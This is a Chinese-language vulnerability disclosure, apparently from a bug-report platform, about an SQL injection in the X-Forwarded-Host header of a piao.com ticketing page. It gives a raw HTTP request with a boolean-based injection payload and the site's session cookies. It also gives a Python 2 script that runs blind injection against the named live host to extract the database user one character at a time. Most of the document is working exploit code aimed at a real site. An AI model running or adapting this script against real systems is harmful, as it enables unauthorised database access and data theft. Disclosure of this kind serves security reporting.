中国票务网某站X-Forwarded-Host存在sql注入漏洞（附脚本）

GET /brand/103/index.php HTTP/1.1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
 X-Forwarded-Host: -1' OR length(user())=22 AND 1=1 or 'a'='
 X-Requested-With: XMLHttpRequest
 Referer: http://www.piao.com/
 Cookie: ECM_ID=d4322e71dbadc27347d2ce025130a47d9f9186a1; PHPSESSID=731fcc89be2378cfdb68fc0bf7a1d5ac; goodsBrowseHistory=443%2C25428%2C26324%2C26009%2C25746%2C10498%2C26342%2C23812%2C650; Hm_lvt_6f15116a8ae9d01417d35b14cb52b23d=1459543143,1459543190,1459543263,1459543817; Hm_lpvt_6f15116a8ae9d01417d35b14cb52b23d=1459544040; HMACCOUNT=1604FF7B272EFB08; BAIDUID=192B4742FF6E154ABFD6EFB4958A33D9:FG=1; mTjx_2132_cityId=zunyi; mTjx_2132_cityName=%E9%81%B5%E4%B9%89
 Host: www.piao.com
 Connection: Keep-alive
 Accept-Encoding: gzip,deflate
 Accept: */*

#encoding=utf-8
 
 import httplib
 
 import time
 
 import string
 
 import sys
 
 import random
 
 import urllib
 
 
 
 headers = {
 
     'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
 
 }
 
 payloads = list(string.ascii_uppercase)
 
 payloads += list(string.ascii_lowercase)
 
 for i in range(0,10):
 
      payloads.append(str(i))
 
 payloads += ['@','_', '.', '-', '//', ' ']
 
 
 
 print 'Try to retrive user:'
 
 user = ''
 
 for i in range(1,23):
 
     for payload in payloads:
                    
             conn = httplib.HTTPConnection('www.piao.com', timeout=30)
           
             headers['X-Forwarded-Host']="-1' OR ascii(substring(user(),%s,1))=%s AND 1=1 or 'a'='" % (i, ord(payload))
             
             conn.request(method='GET', url= '/brand/103/index.php' ,
 
                          headers = headers)
 
             html_doc = conn.getresponse().read().decode('utf-8')
 
             conn.close()
             
             print '.',
 
             if  html_doc.find('12')>0 :  # False
 
               user+= payload
 
               print '/nIn progress]', user
 
               break
         
 
 print '/n[Done] User is:', user